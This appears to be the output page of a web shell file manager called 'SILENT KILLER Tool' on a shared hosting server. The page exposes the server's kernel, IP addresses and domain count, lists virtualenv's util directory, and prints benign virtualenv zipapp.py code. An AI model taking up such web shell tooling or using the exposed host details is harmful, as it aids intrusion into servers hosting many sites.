Current Path: > > opt > alt > python37 > lib > python3.7 > site-packages > virtualenv > util >
Operation : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 162.0.232.56 | Your IP: 216.73.216.111 Domains : 1034 Domain(s) Permission : [ 0755 ]
Name | Type | Size | Last Modified | Actions |
---|---|---|---|---|
__pycache__ | Directory | - | - | |
path | Directory | - | - | |
subprocess | Directory | - | - | |
__init__.py | File | 199 bytes | January 02 2022 15:54:28. | |
error.py | File | 352 bytes | January 02 2022 15:54:28. | |
lock.py | File | 4787 bytes | January 02 2022 15:54:28. | |
six.py | File | 1463 bytes | January 02 2022 15:54:28. | |
zipapp.py | File | 1054 bytes | January 02 2022 15:54:28. |
from __future__ import absolute_import, unicode_literals import logging import os import zipfile from virtualenv.info import IS_WIN, ROOT from virtualenv.util.six import ensure_text def read(full_path): sub_file = _get_path_within_zip(full_path) with zipfile.ZipFile(ROOT, "r") as zip_file: with zip_file.open(sub_file) as file_handler: return file_handler.read().decode("utf-8") def extract(full_path, dest): logging.debug("extract %s to %s", full_path, dest) sub_file = _get_path_within_zip(full_path) with zipfile.ZipFile(ROOT, "r") as zip_file: info = zip_file.getinfo(sub_file) info.filename = dest.name zip_file.extract(info, ensure_text(str(dest.parent))) def _get_path_within_zip(full_path): full_path = os.path.abspath(str(full_path)) sub_file = full_path[len(ROOT) + 1 :] if IS_WIN: # paths are always UNIX separators, even on Windows, though __file__ still follows platform default sub_file = sub_file.replace(os.sep, "/") return sub_file
SILENT KILLER Tool